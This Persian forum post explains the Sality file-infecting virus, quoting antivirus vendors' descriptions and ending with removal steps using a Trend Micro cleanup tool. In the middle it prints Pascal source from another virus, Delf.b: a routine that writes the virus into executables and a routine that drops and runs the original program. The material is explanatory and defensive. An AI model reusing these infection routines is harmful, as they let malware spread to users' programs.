سلام به همه .
  این چند وقت خیلی از بچه ها در مورد این ویروس سوال پرسیدن گفتم بهتره یه پست بهش اختصاص بدیم تا همه بیان و مشکلاتشون رو بیان کنن.
  ویروس sality  یه pe appendه که این روزها خیلی شیوع پیدا کرده.
  ویروسهایی که خوشون رو به فایلهای exe میچسبونن تا اینجایی که من میدونم trendmicro بهشون pe append میگه. وقتی شما می خواهید فایلی رو که به این ویروس مبتلا شده است رو اجرا کنید این ویروس خودش رو از فایل آلوده جدا و در مسیر های متفاوتی  مثل windir یا temp  می ندازه (drop) بعد فایل الوده رو اجرا میکنه طوری که انگار ویروسی در کار نبوده! برای این ویروس در سایتهای مختلف موارد متفاوتی گفته شده :
    it drops the following files in the windows system folder:
  
  و 
    ay drop a .dll file    the %system% or %temp% folders. The following are some examples of the filenames:
  
- syslib32.dll 
 - oledsp32.dll 
 - sysdll.dll 
 - olemdb32.dll
 
bitdefender:
Win32.sality.m is a polymorphic file infector that affects pe executable files. When an infected executable has been run, it drops the following files:
%system%\vcmgcd32.dll
%system%\vcmgcd32.dl_
	کد:
	
http://www.bitdefender.com/virus-1000232-en--win32.sality.m.html
 eset:
When executed the virus drops in folder %system%\drivers\ the following file:
%variable%.sys (5941 b)
%variable% stands for a random text. 
	کد:
	
http://www.eset.eu/buxus/generate_page.php?page_id=20180
 برای فهم بهتر موضوع برا بچه های که کمی برنامه نویسی خوندن سورس پاسکال  تابع append و drop ویروس virus.win32.delf.b که یه  pe append است رو در زیر گذاشتم : :27:
  procedure prepend(destinationfilename:string);
  var
  destinationfile     : File;
  fileattribute       : Integer;
  destinationfilesize : Longint;
  buf                 : Ansistring;
  begin
  try
  fileattribute:=getfileattributes(pansichar(destina  tionfilename));
  setfileattributes(pansichar(destinationfilename), 80);
      {$i-}
  assignfile(destinationfile,destinationfilename);
  filemode:=2;
  reset(destinationfile,1);
  destinationfilesize:=filesize(destinationfile);
  setlength(buf,destinationfilesize);
  blockread(destinationfile,buf[1],destinationfilesize);
  if pos(virusendsignature,buf)=0 then begin
  seek(destinationfile,0);
  blockwrite(destinationfile,virusbuffer[1],virussize);
  blockwrite(destinationfile,virusendsignature[1],length(virusendsignature));
  blockwrite(destinationfile,buf[1],destinationfilesize);
  closefile(destinationfile);
  end;
      {$i+}
  setfileattributes(pansichar(destinationfilename), fileattribute);
  finally
  end;
    end;
  //----
  procedure dropfile;
  var
  g : File;
  s : String;
  t : Longint;
  begin
   {$i-}
  t:=viruspositon+length(virusendsignature);
  if viruspositon>0 then begin
      // working as  a classic prepender  if can not  execute the original file in
      // the memory.
  if(not isntbasedos)or(not createprocessex(@virusbuffer[t])) then begin
  try
  s:=temppath+extractfilename(paramstr(0));
  assignfile(g,s);
  rewrite(g,1);
  blockwrite(g,virusbuffer[t],length(virusbuffer)-t+1);
  closefile(g);
  winexec(pchar(s+' '+commandlineparameters),sw_show);
  except
  end;
  end;
  end;
    {$i+}
  end;
    ویروس sality  مثل بقیه pe append ها از این نحوه کد نویسی پیروی میکنه و خودش رو با حجم 56کیلو به exe های سیستم  اضافه میکنه.
  به گفته trendmicro  این ویروس فایلهای 
  it infects files of the following type(s): 
  
  it avoids folders with the following strings: 
  
  برگرفته از مسیر  
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
  و symantec
      may delete the files which have the following extensions when searching for files to infect:
  
  بر گرفته از مسیر http://www.symantec.com/security_response/writeup.jsp?docid=2006-011714-3948-99&tabid=2
  تحت تاثیر قرار میده.
  این ویروس به آنتی ویروس اجازه نصب سرویسش رو نمی ده که در نتیجه انتی ویروس نمی 
  تواند به درستی نصب گردد.
  
  قبلا در راه حل مقابله با این ویروس گفته بودم هاردتون رو جدا کنید و officescan از trenmicro رو روی یه سیستم دیگه نصب کنید و جستجو کنید....
  این ویروس مدل های متفاوتی داره که مدل جدیدش با اپدیت 8.2008 به گفته trendmicro حل میشه.
  آقای مهندس الیاس ملکی معاف در مسیر 
  http://www.acs.ir/post-48.aspx
  اطلاعات جالبی از این ویروس رو قرار داده اند.
  avg انتی برای sality انتشار داده که متاسفانه این مدلی که تو بحثمونه رو نمی تونه شناسایی و پاک کنه آخه خودم تست کردم.
  اما امروز می خوام یه روش باحال  از دوستم  trenmicroبگم.
  
  پاک کردن ویروس  sality ( removal sality )
  به مسیرهای زیر رفته و فایلها را دونلود کرده سپس extract  کنید.
  http://www.trendmicro.com/ftp/products/pattern/spyware/fixtool/sysclean-pe_sality.zip
  
[ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]
  فایل اول یه برنامه اجرایی عالی از trendmicroست و فایل دوم که  pattern file برنامه اجرایی قبلیست و لیست کلیه ویروسهایی رو داره که تا اکنون توسط trendmicro  شناخته شده و راه حل انها ارایه شده است، می باشد.
  داخل فایل lpt791.zip فایلی با نام lpt$vpn791 وجود دارد که باید ان را در مسیر 
  sysclean-pe_sality\sysclean_pe_sality\system\sysclean
  از فایل  extract شده اول قرار دهید.
  اکنون فایل fix.bat را اجرا کنید تا از قدرت trendmicro  آگاه بشید.
  اکنون شما در سیستمتون یه آنتی ویروس اپدیت  trendmicroبدون realtime سرویس دارید.:31:
  موفق و پیروز باشید.